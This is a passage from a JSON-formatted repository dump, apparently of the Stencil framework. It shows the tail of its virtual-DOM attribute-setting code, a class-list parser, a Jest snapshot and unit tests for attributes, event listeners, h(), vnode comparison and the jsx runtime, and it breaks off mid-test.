instance of \"Capture\"\n      memberName = memberName.replace(CAPTURE_EVENT_REGEX, '');\n\n      if (oldValue) {\n        plt.rel(elm, memberName, oldValue, capture);\n      }\n      if (newValue) {\n        plt.ael(elm, memberName, newValue, capture);\n      }\n    }\n  } else if (BUILD.vdomPropOrAttr && memberName[0] === 'a' && memberName.startsWith('attr:')) {\n    // Explicit attr: prefix — always set as attribute, bypass heuristic\n    const propName = memberName.slice(5);\n    // Look up the actual attribute name from component metadata\n    // Component metadata stores [flags, attributeName] for each member\n    let attrName: string | undefined;\n    if (BUILD.member) {\n      const hostRef = getHostRef(elm);\n      if (hostRef && hostRef.$cmpMeta$ && hostRef.$cmpMeta$.$members$) {\n        const memberMeta = hostRef.$cmpMeta$.$members$[propName];\n        if (memberMeta && memberMeta[1]) {\n          attrName = memberMeta[1];\n        }\n      }\n    }\n    // Fallback: convert camelCase to kebab-case if no metadata found\n    if (!attrName) {\n      attrName = propName.replace(/([a-z0-9])([A-Z])/g, '$1-$2').toLowerCase();\n    }\n    if (newValue == null || newValue === false) {\n      // null or undefined or false (and no value) - remove attribute\n      if (newValue !== false || elm.getAttribute(attrName) === '') {\n        elm.removeAttribute(attrName);\n      }\n    } else {\n      elm.setAttribute(attrName, newValue === true ? '' : newValue);\n    }\n    return;\n  } else if (BUILD.vdomPropOrAttr && memberName[0] === 'p' && memberName.startsWith('prop:')) {\n    // Explicit prop: prefix — always set as property, bypass heuristic\n    const propName = memberName.slice(5);\n    try {\n      (elm as any)[propName] = newValue;\n    } catch (e) {\n      /**\n       * in case someone tries to set a read-only property, we just ignore it\n       */\n    }\n    return;\n  } else if (BUILD.vdomPropOrAttr) {\n    // Set property if it exists and it's not a SVG\n    const isComplex = isComplexType(newValue);\n    if ((isProp || (isComplex && newValue !== null)) && !isSvg) {\n      try {\n        if (!elm.tagName.includes('-')) {\n          const n = newValue == null ? '' : newValue;\n\n          // Workaround for Safari, moving the <input> caret when re-assigning the same valued\n          if (memberName === 'list') {\n            isProp = false;\n          } else if (oldValue == null || (elm as any)[memberName] !== n) {\n            if (typeof (elm as any).__lookupSetter__(memberName) === 'function') {\n              (elm as any)[memberName] = n;\n            } else {\n              elm.setAttribute(memberName, n);\n            }\n          }\n        } else if ((elm as any)[memberName] !== newValue) {\n          (elm as any)[memberName] = newValue;\n        }\n      } catch (e) {\n        /**\n         * in case someone tries to set a read-only property, e.g. \"namespaceURI\", we just ignore it\n         */\n      }\n    }\n\n    /**\n     * Need to manually update attribute if:\n     * - memberName is not an attribute\n     * - if we are rendering the host element in order to reflect attribute\n     * - if it's a SVG, since properties might not work in <svg>\n     * - if the newValue is null/undefined or 'false'.\n     */\n    let xlink = false;\n    if (BUILD.vdomXlink) {\n      if (ln !== (ln = ln.replace(/^xlink\\:?/, ''))) {\n        memberName = ln;\n        xlink = true;\n      }\n    }\n    if (newValue == null || newValue === false) {\n      if (newValue !== false || elm.getAttribute(memberName) === '') {\n        if (BUILD.vdomXlink && xlink) {\n          elm.removeAttributeNS(XLINK_NS, memberName);\n        } else {\n          elm.removeAttribute(memberName);\n        }\n      }\n    } else if (\n      (!isProp || flags & VNODE_FLAGS.isHost || isSvg) &&\n      !isComplex &&\n      elm.nodeType === NODE_TYPE.ElementNode\n    ) {\n      newValue = newValue === true ? '' : newValue;\n      if (BUILD.vdomXlink && xlink) {\n        elm.setAttributeNS(XLINK_NS, memberName, newValue);\n      } else {\n        elm.setAttribute(memberName, newValue);\n      }\n    }\n  }\n};\n\nconst parseClassListRegex = /\\s/;\n/**\n * Parsed a string of classnames into an array\n * @param value className string, e.g. \"foo bar baz\"\n * @returns list of classes, e.g. [\"foo\", \"bar\", \"baz\"]\n */\nexport const parseClassList = /*@__PURE__*/ (value: string | SVGAnimatedString | undefined | null): string[] => {\n  // Can't use `value instanceof SVGAnimatedString` because it'll break in non-browser environments\n  // see https://developer.mozilla.org/docs/Web/API/SVGAnimatedString for more information\n  if (typeof value === 'object' && value && 'baseVal' in value) {\n    value = value.baseVal;\n  }\n\n  if (!value || typeof value !== 'string') {\n    return [];\n  }\n\n  return value.split(parseClassListRegex);\n};\nconst CAPTURE_EVENT_SUFFIX = 'Capture';\nconst CAPTURE_EVENT_REGEX = new RegExp(CAPTURE_EVENT_SUFFIX + '$');\n"
  },
  {
    "path": "src/runtime/vdom/test/__snapshots__/vdom-annotations.spec.tsx.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`vdom-annotations should add annotations when component-a-test and component-b-test is given as static component 1`] = `\"<section> <component-a-test><!---->o.0.1<div> <!--t.0.1-->slotContent</div></component-a-test> <component-b-test><!---->o.0.2<div> <!--t.0.2-->slotContent</div></component-b-test> </section>\"`;\n\nexports[`vdom-annotations should add annotations when component-a-test is given as static component 1`] = `\"<section> <component-a-test><!---->o.0.1<div> <!--t.0.1-->slotContent</div></component-a-test> <component-b-test s-id=\\\\\"1\\\\\"><!--r.1-->o.0.2<div c-id=\\\\\"1.0.0.0\\\\\"><!--t.1.1.1.0--> <!--t.0.2-->slotContent</div></component-b-test> </section>\"`;\n\nexports[`vdom-annotations should add annotations when no static component is given 1`] = `\"<section> <component-a-test s-id=\\\\\"1\\\\\"><!--r.1-->o.0.1<div c-id=\\\\\"1.0.0.0\\\\\"><!--t.1.1.1.0--> <!--t.0.1-->slotContent</div></component-a-test> <component-b-test s-id=\\\\\"2\\\\\"><!--r.2-->o.0.2<div c-id=\\\\\"2.0.0.0\\\\\"><!--t.2.1.1.0--> <!--t.0.2-->slotContent</div></component-b-test> </section>\"`;\n"
  },
  {
    "path": "src/runtime/vdom/test/attributes.spec.ts",
    "content": "import { SVG_NS, XLINK_NS } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { h, newVNode } from '../h';\nimport { patch } from '../vdom-render';\n\ndescribe('attributes', () => {\n  let hostElm: d.HostElement;\n  let vnode0: d.VNode;\n\n  beforeEach(() => {\n    hostElm = document.createElement('div');\n    vnode0 = newVNode(null, null);\n    vnode0.$elm$ = hostElm;\n  });\n\n  it('have their provided values', () => {\n    const vnode1 = h('div', { href: '/foo', minlength: 1, value: true });\n    patch(vnode0, vnode1);\n\n    expect(hostElm.getAttribute('href')).toEqual('/foo');\n    expect(hostElm.getAttribute('minlength')).toEqual('1');\n    expect(hostElm.getAttribute('value')).toEqual('');\n  });\n\n  it('are not omitted when falsy values are provided', () => {\n    const vnode1 = h('div', { href: null, minlength: 0, value: false });\n    patch(vnode0, vnode1);\n    expect(hostElm.getAttribute('href')).toEqual(null);\n    expect(hostElm.getAttribute('minlength')).toEqual('0');\n    expect(hostElm.getAttribute('value')).toEqual(null);\n  });\n\n  it('are set correctly when namespaced', () => {\n    const vnode1 = h('svg', { 'xlink:href': '#foo' });\n    patch(vnode0, vnode1);\n    expect(hostElm.getAttributeNS(XLINK_NS, 'href')).toEqual('#foo');\n  });\n\n  it('are set correctly when namespaced (2)', () => {\n    const vnode1 = h('svg', { xlinkHref: '#foo' });\n    patch(vnode0, vnode1);\n    expect(hostElm.getAttributeNS(XLINK_NS, 'href')).toEqual('#foo');\n  });\n\n  it('should not touch class nor id fields', () => {\n    hostElm = document.createElement('div');\n    hostElm.id = 'myId';\n    hostElm.className = 'myClass';\n    vnode0.$elm$ = hostElm;\n    const vnode1 = h('div', null, 'Hello');\n    patch(vnode0, vnode1);\n    expect(hostElm.tagName).toEqual('DIV');\n    expect(hostElm.id).toEqual('myId');\n    expect(hostElm.className).toEqual('myClass');\n    expect(hostElm.textContent).toEqual('Hello');\n  });\n\n  describe('boolean attribute', () => {\n    it('is present if the value is truthy', () => {\n      const vnode1 = h('div', { required: true, readonly: 1, noresize: 'truthy' });\n      patch(vnode0, vnode1);\n      expect(hostElm.hasAttribute('required')).toEqual(true);\n      expect(hostElm.getAttribute('required')).toEqual('');\n      expect(hostElm.hasAttribute('readonly')).toEqual(true);\n      expect(hostElm.getAttribute('readonly')).toEqual('1');\n      expect(hostElm.hasAttribute('noresize')).toEqual(true);\n      expect(hostElm.getAttribute('noresize')).toEqual('truthy');\n    });\n\n    it('is omitted if the value is falsy', () => {\n      const vnode1 = h('div', { required: false, readonly: 'false', noresize: null });\n      patch(vnode0, vnode1);\n      expect(hostElm.getAttribute('required')).toEqual(null);\n      expect(hostElm.getAttribute('readonly')).toEqual('false');\n      expect(hostElm.getAttribute('noresize')).toEqual(null);\n    });\n  });\n\n  describe('svg', function () {\n    it('adds correctly xlink namespaced attribute', () => {\n      const testUrl = '/test';\n      const vnode1 = h(\n        'svg',\n        {},\n        h('div', {\n          'xlink:href': testUrl,\n        }),\n      );\n\n      hostElm = document.createElementNS(SVG_NS, 'svg') as any;\n      vnode0.$elm$ = hostElm;\n      patch(vnode0, vnode1);\n      expect(hostElm.childNodes.length).toEqual(1);\n      expect(hostElm.children[0].getAttribute('href')).toEqual(testUrl);\n      expect(hostElm.children[0].getAttributeNS(XLINK_NS, 'href')).toEqual(testUrl);\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/event-listeners.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { h, newVNode } from '../h';\nimport { patch } from '../vdom-render';\n\ndescribe('event listeners', () => {\n  let hostElm: d.HostElement;\n  let vnode0: d.VNode;\n\n  beforeEach(() => {\n    hostElm = document.createElement('div');\n    vnode0 = newVNode(null, null);\n    vnode0.$elm$ = hostElm;\n  });\n\n  it('attaches click event handler to element', () => {\n    const result: any[] = [];\n\n    function clicked(ev: UIEvent) {\n      result.push(ev);\n    }\n\n    const vnode = h('div', { onClick: clicked }, h('a', null, 'Click my parent'));\n\n    patch(vnode0, vnode);\n    hostElm.click();\n\n    expect(result.length).toBe(1);\n  });\n\n  it('does not attach new listener', () => {\n    const result: any[] = [];\n\n    const vnode1 = h(\n      'div',\n      {\n        onClick: () => {\n          result.push(1);\n        },\n      },\n      h('a', null, 'Click my parent'),\n    );\n\n    const vnode2 = h(\n      'div',\n      {\n        onClick: () => {\n          result.push(2);\n        },\n      },\n      h('a', null, 'Click my parent'),\n    );\n\n    patch(vnode0, vnode1);\n    hostElm.click();\n\n    patch(vnode1, vnode2);\n    hostElm.click();\n\n    expect(result[0]).toBe(1);\n    expect(result[1]).toBe(2);\n  });\n\n  it('detach attached click event handler to element', () => {\n    const result: any[] = [];\n\n    function clicked(ev: UIEvent) {\n      result.push(ev);\n    }\n\n    const vnode1 = h('div', { onClick: clicked }, h('a', null, 'Click my parent'));\n\n    patch(vnode0, vnode1);\n    hostElm.click();\n    hostElm.click();\n\n    expect(result.length).toBe(2);\n\n    const vnode2 = h('div', { o: {} }, h('a', null, 'Click my parent'));\n\n    patch(vnode1, vnode2);\n    hostElm.click();\n    hostElm.click();\n\n    expect(result.length).toBe(2);\n  });\n\n  it('shared handlers in parent and child nodes', () => {\n    const result: any[] = [];\n\n    function click(ev: any) {\n      result.push(ev);\n    }\n\n    const vnode1 = h('div', { onClick: click }, h('a', { onClick: click }, 'Click my parent'));\n\n    patch(vnode0, vnode1);\n    hostElm.click();\n\n    expect(result.length).toBe(1);\n    (hostElm.firstChild as HTMLElement).click();\n    expect(result.length).toBe(3);\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/h.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { h, newVNode } from '../h';\n\ndescribe('h()', () => {\n  it('should render nested functional components', () => {\n    const FunctionalCmp1 = () => h('fn-cmp', null);\n    const FunctionalCmp2 = () => h(FunctionalCmp1, null);\n    const vnode = h(FunctionalCmp2, null);\n    expect(vnode.$tag$).toEqual('fn-cmp');\n  });\n\n  it('should render functional component', () => {\n    const FunctionalCmp = () => h('fn-cmp', null);\n    const vnode = h(FunctionalCmp, null);\n    expect(vnode.$tag$).toEqual('fn-cmp');\n  });\n\n  it('should get vnode with only tag string', () => {\n    const vnode = h('div', null);\n    expect(vnode.$tag$).toEqual('div');\n  });\n\n  it('should get vnode with tag and data', () => {\n    const vnode = h('div', { id: 'my-id' });\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$attrs$).toBeDefined();\n    expect(vnode.$attrs$.id).toBe('my-id');\n  });\n\n  it('should get vnode with tag and child text', () => {\n    const vnode = h('div', null, 'child text');\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$children$[0].$text$).toBe('child text');\n  });\n\n  it('should get vnode with tag and multiple child text', () => {\n    const vnode = h('div', null, 'child 1', 'child 2');\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$children$[0].$text$).toBe('child 1child 2');\n  });\n\n  it('should get vnode with tag and child number', () => {\n    const vnode = h('div', null, 0);\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$children$[0].$text$).toBe('0');\n  });\n\n  it('should get vnode with tag with multiple child h()', () => {\n    const vnode = h('div', null, h('child-a', null), h('child-b', null));\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$children$).toBeDefined();\n    expect(vnode.$children$.length).toBe(2);\n    expect(vnode.$children$[0].$tag$).toBe('child-a');\n    expect(vnode.$children$[1].$tag$).toBe('child-b');\n  });\n\n  it('should get vnode with tag with one child h()', () => {\n    const vnode = h('parent', null, h('child', null));\n    expect(vnode.$tag$).toEqual('parent');\n    expect(vnode.$children$).toBeDefined();\n    expect(vnode.$children$.length).toBe(1);\n    expect(vnode.$children$[0].$tag$).toBe('child');\n  });\n\n  it('should get vnode with tag with two child h()', () => {\n    const vnode = h('parent', null, h('child-a', null), h('child-b', null));\n    expect(vnode.$tag$).toEqual('parent');\n    expect(vnode.$children$).toBeDefined();\n    expect(vnode.$children$.length).toBe(2);\n    expect(vnode.$children$[0].$tag$).toBe('child-a');\n    expect(vnode.$children$[1].$tag$).toBe('child-b');\n  });\n\n  it('should get vnode with tag, data, child text', () => {\n    const vnode = h('div', { id: 'my-id' }, 'child text');\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$attrs$).toBeDefined();\n    expect(vnode.$children$[0].$text$).toBe('child text');\n  });\n\n  it('should get vnode with tag, data, child number', () => {\n    const vnode = h('div', { id: 'my-id' }, 0);\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$attrs$).toBeDefined();\n    expect(vnode.$children$[0].$text$).toBe('0');\n  });\n\n  it('should get vnode with tag, data, one child h()', () => {\n    const vnode = h('div', { id: 'my-id' }, h('child-a', null));\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$attrs$).toBeDefined();\n    expect(vnode.$children$).toBeDefined();\n    expect(vnode.$children$.length).toBe(1);\n    expect(vnode.$children$[0].$tag$).toBe('child-a');\n  });\n\n  it('should get vnode with tag, data, array of children h()', () => {\n    const vnode = h('div', { id: 'my-id' }, h('child-a', null), h('child-b', null));\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$attrs$).toBeDefined();\n    expect(vnode.$children$).toBeDefined();\n    expect(vnode.$children$.length).toBe(2);\n    expect(vnode.$children$[0].$tag$).toBe('child-a');\n    expect(vnode.$children$[1].$tag$).toBe('child-b');\n  });\n\n  it('should have class exactly as passed if string w/ extra whitespace', () => {\n    const vnode = h('div', { class: '  dragons   love  tacos  ' });\n    expect(vnode.$attrs$.class).toBeDefined();\n    expect(vnode.$attrs$.class).toEqual('  dragons   love  tacos  ');\n  });\n\n  it('should have class exactly as passed if string w/ duplicates', () => {\n    const vnode = h('div', { class: 'middle aligned center aligned' });\n    expect(vnode.$attrs$.class).toBeDefined();\n    expect(vnode.$attrs$.class).toEqual('middle aligned center aligned');\n  });\n\n  it('should have class based on classes as keys of an object', () => {\n    const vnode = h('div', { class: { dragons: true, love: true, tacos: true } });\n    expect(vnode.$attrs$.class).toBeDefined();\n    expect(vnode.$attrs$.class).toEqual('dragons love tacos');\n  });\n\n  it('should set vkey', () => {\n    const vnode = h('div', { key: 'my-key' });\n    expect(vnode.$key$).toBe('my-key');\n  });\n\n  it('should set vkey to null when key is undefined', () => {\n    const vnode = h('div', { key: undefined });\n    expect(vnode.$key$).toBe(null);\n  });\n\n  it('should set vkey to null when key is null', () => {\n    const vnode = h('div', { key: null });\n    expect(vnode.$key$).toBe(null);\n  });\n\n  it('should set vkey to undefined when we have data, but no key', () => {\n    const vnode = h('div', { some: 'data' });\n    expect(vnode.$key$).toBe(null);\n  });\n\n  it('should set vkey to undefined when no data', () => {\n    const vnode = h('div', null);\n    expect(vnode.$key$).toBe(null);\n  });\n\n  it('should set vattrs ref', () => {\n    const ref = () => {\n      /**/\n    };\n    const vnode = h('div', { ref: ref });\n    expect(vnode.$attrs$.ref).toBe(ref);\n  });\n\n  it('should not set vref', () => {\n    const vnode = h('div', {});\n    expect(vnode.$attrs$.ref).toBeUndefined();\n  });\n\n  it('should add one class from string', () => {\n    const vnode = h('div', { class: 'some-class and another-class' });\n    expect(vnode.$attrs$.class).toBeDefined();\n    expect(vnode.$attrs$.class).toEqual('some-class and another-class');\n  });\n\n  it('should add class from map of classnames and booleans', () => {\n    const vnode = h('div', { class: { enabled: true, checked: false } });\n    expect(vnode.$attrs$.class).toBeDefined();\n    expect(vnode.$attrs$.class).toEqual('enabled');\n  });\n\n  it('should add class from className string', () => {\n    const vnode = h('div', { className: 'one point twenty-one gigawatts' });\n    expect(vnode.$attrs$.class).toBeDefined();\n    expect(vnode.$attrs$.class).toEqual('one point twenty-one gigawatts');\n  });\n\n  it('should add class from className map of classnames and booleans', () => {\n    const vnode = h('div', { className: { save: true, the: true, clock: true, tower: true, hillvalley: false } });\n    expect(vnode.$attrs$.class).toBeDefined();\n    expect(vnode.$attrs$.class).toEqual('save the clock tower');\n  });\n\n  it('should add props', () => {\n    const vnode = h('div', { id: 'my-id', checked: false, count: 0 });\n    expect(vnode.$attrs$).toBeDefined();\n    expect(vnode.$attrs$.id).toBe('my-id');\n    expect(vnode.$attrs$.checked).toBe(false);\n    expect(vnode.$attrs$.count).toBe(0);\n  });\n\n  it('should add attrs', () => {\n    const vnode = h('div', { id: 'my-id', checked: false, count: 0 });\n    expect(vnode.$attrs$).toBeDefined();\n    expect(vnode.$attrs$.id).toBe('my-id');\n    expect(vnode.$attrs$.checked).toBe(false);\n    expect(vnode.$attrs$.count).toBe(0);\n  });\n\n  it('should add on', () => {\n    function onClick() {\n      /**/\n    }\n    const vnode = h('div', { onclick: onClick });\n    expect(vnode.$attrs$).toBeDefined();\n    expect(vnode.$attrs$.onclick).toBe(onClick);\n  });\n\n  it('should add style', () => {\n    const vnode = h('div', { style: { marginLeft: '10px' } });\n    expect(vnode.$attrs$.style).toBeDefined();\n    expect(vnode.$attrs$.style.marginLeft).toBe('10px');\n  });\n\n  it('should add key string', () => {\n    const vnode = h('div', { key: 'my-key' });\n    expect(vnode.$key$).toBe('my-key');\n  });\n\n  it('should add key number', () => {\n    const vnode = h('div', { key: 88 });\n    expect(vnode.$key$).toBe(88);\n  });\n\n  it('can create vnode with proper tag', () => {\n    expect(h('div', null).$tag$).toEqual('div');\n    expect(h('a', null).$tag$).toEqual('a');\n  });\n\n  it('can create vnode with children', () => {\n    const vnode = h('div', null, h('span', null), h('b', null));\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$children$[0].$tag$).toEqual('span');\n    expect(vnode.$children$[1].$tag$).toEqual('b');\n  });\n\n  it('can create vnode with one child vnode', () => {\n    const vnode = h('div', null, h('span', null));\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$children$[0].$tag$).toEqual('span');\n  });\n\n  it('can create vnode with no props and one child vnode', () => {\n    const vnode = h('div', null, h('span', null));\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$children$[0].$tag$).toEqual('span');\n  });\n\n  it('can create vnode text with dynamic string', () => {\n    const val = 'jazzhands';\n    const vnode = h('div', null, val);\n    expect(vnode.$tag$).toEqual('div');\n    expect(vnode.$children$[0].$text$).toEqual('jazzhands');\n  });\n\n  it('can create vnode with text content in string', () => {\n    const vnode = h('a', null, 'I am a string');\n    expect(vnode.$children$[0].$text$).toEqual('I am a string');\n  });\n\n  it('should merge all simple children', () => {\n    const vnode = h('a', null, 'Str0', [12, ['Str2']] as any);\n    expect(vnode.$children$.length).toBe(1);\n    expect(vnode.$children$[0].$text$).toEqual('Str012Str2');\n  });\n\n  it('should not render booleans', () => {\n    const vnode = h('a', null, [false, true] as any);\n    expect(vnode.$children$).toBe(null);\n  });\n\n  it('should not render null and undefined', () => {\n    const vnode = h('a', null, [null, undefined] as any);\n    expect(vnode.$children$).toBe(null);\n  });\n\n  it('should merge with booleans around', () => {\n    const vnode = h('a', null, [false, 'one', true] as any, 'word');\n    expect(vnode.$children$.length).toBe(1);\n    expect(vnode.$children$[0].$text$).toBe('oneword');\n  });\n\n  it('should walk nested arrays', () => {\n    const vnode = h('a', null, ['Str0', [h('b', null, 'Str1'), ['Str2']]] as any);\n\n    expect(vnode.$children$).toEqual([\n      newVNode(null, 'Str0'),\n      {\n        $attrs$: null,\n        $children$: [newVNode(null, 'Str1')],\n        $elm$: null,\n        $flags$: 0,\n        $key$: null,\n        $name$: null,\n        $tag$: 'b',\n        $text$: null,\n      },\n      newVNode(null, 'Str2'),\n    ]);\n  });\n\n  describe('functional components', () => {\n    it('should receive props, array, and utils as props', async () => {\n      let args: any;\n      const MyFunction: d.FunctionalComponent = (...argArray) => {\n        args = argArray;\n        return null;\n      };\n      h(MyFunction, { id: 'blank' }, h('span', {}));\n      expect(args.length).toBe(3);\n      expect(args[0]).toEqual({ id: 'blank' });\n      expect(args[1].length).toEqual(1);\n      expect(typeof args[2].map).toBe('function');\n      expect(typeof args[2].forEach).toBe('function');\n    });\n\n    it('should receive an empty object when component receives no props', async () => {\n      let args: any;\n      const MyFunction: d.FunctionalComponent = (...argArray) => {\n        args = argArray;\n        return null;\n      };\n      h(MyFunction, {});\n      expect(args[0]).toEqual({});\n      expect(args[1]).toEqual([]);\n    });\n\n    it('should receive an empty array when component receives no children', async () => {\n      let args: any;\n      const MyFunction: d.FunctionalComponent = (...argArray) => {\n        args = argArray;\n        return null;\n      };\n      h(MyFunction, {});\n      expect(args[1]).toEqual([]);\n    });\n\n    it('should handle functional cmp which returns null', async () => {\n      const MyFunction: d.FunctionalComponent = () => {\n        return null;\n      };\n      const vnode = h(MyFunction, {});\n\n      expect(vnode).toEqual(null);\n    });\n\n    it('should render functional cmp content', async () => {\n      const MyFunction: d.FunctionalComponent = () => {\n        return h('div', { id: 'fn-cmp' }, 'fn-cmp');\n      };\n      const vnode = h(MyFunction, {});\n      expect(vnode).toEqual({\n        $elm$: null,\n        $flags$: 0,\n        $attrs$: { id: 'fn-cmp' },\n        $children$: [newVNode(null, 'fn-cmp')],\n        $key$: null,\n        $name$: null,\n        $tag$: 'div',\n        $text$: null,\n      });\n    });\n  });\n\n  describe('VDom Util methods', () => {\n    it('utils.forEach should loop over items and get the ChildNode data', () => {\n      const output: any = [];\n      const FunctionalCmp: d.FunctionalComponent = (_nodeData, children, util) => {\n        util.forEach(children, (element) => {\n          output.push(element);\n          util.forEach(element.vchildren, (el) => {\n            output.push(el);\n          });\n        });\n        return h('article', null);\n      };\n      h(FunctionalCmp, null, h('div', { id: 'blue' }, h('span', null)));\n      expect(output).toEqual([\n        {\n          vattrs: {\n            id: 'blue',\n          },\n          vchildren: [\n            {\n              $elm$: null,\n              $flags$: 0,\n              $attrs$: null,\n              $children$: null,\n              $key$: null,\n              $name$: null,\n              $tag$: 'span',\n              $text$: null,\n            },\n          ],\n          vkey: null,\n          vname: null,\n          vtag: 'div',\n          vtext: null,\n        },\n        {\n          vattrs: null,\n          vchildren: null,\n          vkey: null,\n          vname: null,\n          vtag: 'span',\n          vtext: null,\n        },\n      ]);\n    });\n\n    it('replaceAttributes should return the attributes for the node', () => {\n      const FunctionalCmp: d.FunctionalComponent = (_nodeData, children, util) => {\n        return util.map(children, (child) => {\n          return {\n            ...child,\n            vattrs: {\n              ...child.vattrs,\n              class: 'my-class',\n            },\n          };\n        });\n      };\n      const vnode = h(FunctionalCmp, null, h('div', { id: 'blue' }, 'innerText'), h('span', null));\n      expect(vnode).toEqual([\n        {\n          $elm$: null,\n          $flags$: 0,\n          $attrs$: {\n            class: 'my-class',\n            id: 'blue',\n          },\n          $children$: [newVNode(null, 'innerText')],\n          $key$: null,\n          $name$: null,\n          $tag$: 'div',\n          $text$: null,\n        },\n        {\n          $elm$: null,\n          $flags$: 0,\n          $attrs$: {\n            class: 'my-class',\n          },\n          $children$: null,\n          $key$: null,\n          $name$: null,\n          $tag$: 'span',\n          $text$: null,\n        },\n      ]);\n    });\n\n    it('changing the vtag to a functional component should expand the component', () => {\n      const ReplacementCmp: d.FunctionalComponent = (nodeData, children) => {\n        return h('article', nodeData, h('p', null, ...children));\n      };\n      const FunctionalCmp: d.FunctionalComponent = (_nodeData, children, util) => {\n        return util.map(children, (child) => {\n          return {\n            ...child,\n            vtag: child.vtag === 'div' ? ReplacementCmp : child.vtag,\n          };\n        });\n      };\n      const vnode = h(FunctionalCmp, null, h('div', { id: 'blue' }, 'innerText'), h('span', null));\n\n      expect(vnode).toEqual([\n        {\n          $flags$: 0,\n          $tag$: 'article',\n          $text$: null,\n          $elm$: null,\n          $children$: [\n            {\n              $flags$: 0,\n              $tag$: 'p',\n              $text$: null,\n              $elm$: null,\n              $children$: [newVNode(null, 'innerText')],\n              $attrs$: null,\n              $key$: null,\n              $name$: null,\n            },\n          ],\n          $attrs$: { id: 'blue' },\n          $key$: null,\n          $name$: null,\n        },\n        {\n          $flags$: 0,\n          $tag$: 'span',\n          $text$: null,\n          $elm$: null,\n          $children$: null,\n          $attrs$: null,\n          $key$: null,\n          $name$: null,\n        },\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/is-same-vnode.spec.ts",
    "content": "// import type * as d from '../declarations';\nimport { h } from '../h';\nimport { isSameVnode } from '../vdom-render';\n\ndescribe('isSameVnode', () => {\n  it('should not be same vnode with slot and no vnode2 name', () => {\n    const vnode1 = h('slot', { name: 'start' }, '1');\n    const vnode2 = h('slot', {}, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(false);\n  });\n\n  it('should not be same vnode with slot and no vnode1 name', () => {\n    const vnode1 = h('slot', {}, '1');\n    const vnode2 = h('slot', { name: 'end' }, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(false);\n  });\n\n  it('should not be same vnode with slot and different vname', () => {\n    const vnode1 = h('slot', { name: 'start' }, '1');\n    const vnode2 = h('slot', { name: 'end' }, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(false);\n  });\n\n  it('should be same vnode with slot and same vname', () => {\n    const vnode1 = h('slot', { name: 'start' }, '1');\n    const vnode2 = h('slot', { name: 'start' }, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(true);\n  });\n\n  it('should be same vnode with slot and no vname', () => {\n    const vnode1 = h('slot', {}, '1');\n    const vnode2 = h('slot', {}, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(true);\n  });\n\n  it('should not be same vnode with same tag and different key', () => {\n    const vnode1 = h('a', { attr: '1', key: 'mykey1' }, '1');\n    const vnode2 = h('a', { attr: '2', key: 'mykey2' }, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(false);\n  });\n\n  it('should not be same vnode with different tag and same key', () => {\n    const vnode1 = h('a', { attr: '1', key: 'mykey' }, '1');\n    const vnode2 = h('b', { attr: '2', key: 'mykey' }, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(false);\n  });\n\n  it('should not be same vnode with different tag and no key', () => {\n    const vnode1 = h('a', null, '1');\n    const vnode2 = h('b', null, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(false);\n  });\n\n  it('should be same vnode with same tag and same key', () => {\n    const vnode1 = h('a', { attr: '1', key: 'mykey' }, '1');\n    const vnode2 = h('a', { attr: '2', key: 'mykey' }, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(true);\n  });\n\n  it('should be same vnode with same tag and defined data, but no key', () => {\n    const vnode1 = h('a', { attr: '1' }, '1');\n    const vnode2 = h('a', { attr: '2' }, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(true);\n  });\n\n  it('should be same vnode with same tag and undefined data', () => {\n    const vnode1 = h('a', null, '1');\n    const vnode2 = h('a', null, '2');\n    expect(isSameVnode(vnode1, vnode2)).toBe(true);\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/jsx-runtime.spec.ts",
    "content": "import { jsx, jsxs } from '../jsx-runtime';\nimport { jsxDEV } from '../jsx-dev-runtime';\n\ndescribe('jsx-runtime', () => {\n  describe('jsx() and jsxs()', () => {\n    it('should create a vnode with no props', () => {\n      const vnode = jsx('div', {});\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$attrs$).toBe(null);\n    });\n\n    it('should create a vnode with basic props', () => {\n      const vnode = jsx('div', { id: 'test', class: 'foo' });\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$attrs$).toEqual({ id: 'test', class: 'foo' });\n    });\n\n    it('should handle key passed as separate parameter', () => {\n      const vnode = jsx('div', { id: 'test' }, 'my-key');\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$key$).toBe('my-key');\n      expect(vnode.$attrs$).toEqual({ id: 'test', key: 'my-key' });\n    });\n\n    it('should handle key passed in props', () => {\n      const vnode = jsx('div', { id: 'test', key: 'props-key' });\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$key$).toBe('props-key');\n      expect(vnode.$attrs$).toEqual({ id: 'test', key: 'props-key' });\n    });\n\n    it('should prefer key from props over parameter', () => {\n      const vnode = jsx('div', { id: 'test', key: 'props-key' }, 'param-key');\n      expect(vnode.$tag$).toBe('div');\n      expect(vnode.$key$).toBe('props-key');\n      expect(vnode.$attrs$).toEqual({ id: 'test', key: 